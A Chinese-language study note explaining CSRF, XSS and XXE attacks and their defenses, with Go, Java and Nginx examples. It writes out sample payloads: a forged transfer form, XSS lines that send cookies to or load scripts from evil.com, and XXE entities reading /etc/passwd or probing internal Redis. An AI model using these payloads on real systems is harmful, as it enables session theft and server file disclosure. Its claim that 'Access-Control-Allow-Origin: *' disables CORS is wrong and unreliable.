---
tags: [计算机网络, CSRF, XSS, XXE, CORS, Web安全]
create time: 2026-05-18 05:05
---

# Web 应用攻击面：CSRF / XSS / XXE

## 概述

L7（应用层）攻击是黑客最常利用的层面。CSRF、XSS、XXE 三个名字相似但原理迥异，理解它们的区别和对应的防御手段是每个后端开发者的必修课。

## CSRF vs XSS vs XXE —— 三巨头对比

```mermaid
flowchart LR
    subgraph "CSRF: 借用户的身份做操作"
        direction TB
        C1["用户已登录银行网站"] --> C2["访问恶意页面<br/>包含 <img src='bank.com/transfer'>"]
        C2 --> C3["浏览器自动带上 cookie → 转账成功"]
    end
    
    subgraph "XSS: 在用户浏览器执行脚本"
        direction TB
        X1["网站注入恶意 JS"] --> X2["其他用户打开含攻击页面的链接"]
        X2 --> X3["脚本在受害者上下文中执行 → 窃取 cookie"]
    end
    
    style C1 fill:#DDA0DD,color:#000
    style X1 fill:#FFD700,color:#000
```

### 详细对比表

| 特性 | CSRF | XSS (Reflected) | XSS (Stored) | XXE |
|------|------|-----------------|--------------|-----|
| **全名** | Cross-Site Request Forgery | Cross-Site Scripting | Stored/Persistent XSS | XML External Entity |
| **攻击目标** | 服务器操作 | 客户端浏览器 | 客户端浏览器 | 服务器文件系统/内网 |
| **核心漏洞** | 服务端没验证请求来源 | 输入未过滤直接输出到页面 | 持久化存储了恶意内容 | XML 解析器处理了外部实体 |
| **用户需操作** | 只需打开恶意页面 | 只需点击带payload链接 | 完全被动 | 无需用户参与 |
| **防御方式** | SameSite Cookie, CSRF Token, Referer 检查 | CSP, 输入编码, HTTPOnly Cookie | 同上 + 富文本 sanitizer | 禁用 DTD/外部实体 |
| **危害等级** | 高（能代用户操作） | 中高（能盗取会话） | 最高（持久传播） | 极高（RCE/文件读取） |
| **OWASP排名** | #9 | #3 | #3 | N/A |

### CSRF 详解

```
攻击流程:
─────────────────────────────────────
1. 用户在 bank.com 已登录（cookie 有效中）
2. 用户访问 evil.com
3. evil.com 包含:
   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="hacker_account"/>
     <input name="amount" value="10000"/>
     <input type="submit" value="领取奖励!"/>
   </form>
4. 用户点击提交 → 浏览器自动携带 bank.com 的 cookie
5. bank.com 以为是合法操作 → 转账成功 💸
```

```go
// ❌ 没有 CSRF 保护的 Go handler
func TransferHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        to := r.FormValue("to")
        amount := r.FormValue("amount")
        // ⚠️ 没有验证请求来源！任何网站都能伪造 POST 请求
        transferMoney(to, amount)
    }
}

// ✅ 方案一：CSRF Token
type CSRFStore struct {
    tokens sync.Map  // token → userID + expiry
}

func GenerateCSRFToken(userID string) (string, error) {
    tokenBytes := make([]byte, 32)
    rand.Read(tokenBytes)
    token := base64.URLEncoding.EncodeToString(tokenBytes)
    
    store.tokens.Store(token, userID)
    go func() {
        time.Sleep(24 * time.Hour)
        store.tokens.Delete(token)  // token 过期清理
    }()
    return token, nil
}

// ✅ 方案二：SameSite Cookie（现代浏览器原生支持）
http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sessionID,
    Path:     "/",
    HttpOnly: true,       // JS 无法读取
    SameSite: http.SameSiteStrictMode, // ← 关键！禁止跨站携带
})
```

```nginx
# Nginx 层面的 CSRF 防御
location /api {
    # 校验 Referer（可被浏览器插件或旧浏览器绕过，仅作第二道防线）
    if ($http_referer !~* ^https://(www\.)?yourdomain\.com) {
        return 403;
    }
    proxy_pass http://backend;
}
```

### XSS 详解

```
反射型 XSS 流程:
───────────────────────
1. 攻击者构造恶意 URL:
   https://site.com/search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
2. 受害者点击该 URL
3. 服务器把 q 参数原样放回 HTML 响应中
4. 浏览器执行脚本 → cookie 被盗 🚨

存储型 XSS 流程:
───────────────────────
1. 攻击者在评论区发帖: <script src=http://evil.com/xss.js></script>
2. 帖子被存入数据库
3. 所有浏览此页面的用户都会执行恶意脚本
4. 比反射型 XSS 危害大 10 倍（一次注入，无限受害）
```

```go
// ✅ Go 的 html/template 自动转义，是最强的 XSS 防御
import "html/template"

tmpl, _ := template.New("search").Parse(`
    <h1>Search results for: {{.Query}}</h1>
    <!-- .Query 会被自动 HTML-escape → <script → &lt;script&gt; -->
`)
// tmpl.Execute(w, data) → 输出中的特殊字符已被转义
```

```bash
# CSP (Content Security Policy) 头 — XSS 的第二道防线
# 即使 XSS payload 被执行了，CSP 也能阻止它加载外部资源
HTTP/1.1
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'
# default-src 'self'   → 只允许同源资源
# script-src 'self' ... → 禁止内联 script 和外部未知域
```

### XXE 详解

```xml
<!-- 正常 XML -->
<?xml version="1.0"?>
<user>
    <name>Alice</name>
    <email>alice@example.com</email>
</user>

<!-- XXE 攻击 payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>    <!-- 服务器返回 /etc/passwd 的内容 -->
</user>

<!-- 更危险的版本：SSRF 式内网扫描 -->
<!ENTITY attack SYSTEM "gopher://10.0.0.1:6379/_INFO">
<!-- Redis INFO 命令返回值被写入响应 -->
```

```go
// ✅ Go 的 encoding/xml 默认禁用外部实体，相对安全
// 但仍需注意 SAX parser 等第三方库的安全配置

// Java 中需要明确关闭 XXE
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setExpandEntityReferences(false);
```

## CORS vs CSRF —— 经常被混淆的两个概念

```
CORS (Cross-Origin Resource Sharing):
──────────────────────────────────────
• 浏览器的安全策略，防止网页加载跨域资源
• 由浏览器自动执行，服务器通过响应头配合
• Access-Control-Allow-Origin: https://trusted.com

CSRF (Cross-Site Request Forgery):
────────────────────────────────────
• 攻击者利用已登录用户的凭证伪造请求
• 与 CORS 无关！CORS 不防 CSRF
• 防御用 SameSite Cookie + CSRF Token
```

> [!important] 核心结论
> CORS 不是 CSRF 的替代品。即使一个站点禁用了 CORS（`Access-Control-Allow-Origin: *`），依然会受到 CSRF 攻击。两者保护的是不同层面的安全问题。

## 关联笔记

- [[hhs/NETWORK/DDoS与MITM防御]] — L3/L4 攻击面的补充
- [[hhs/NETWORK/JWT认证与授权安全]] — JWT 也是攻击重灾区
- [[hhs/NETWORK/TLS安全实践]] — HSTS 是防范协议降级攻击的基础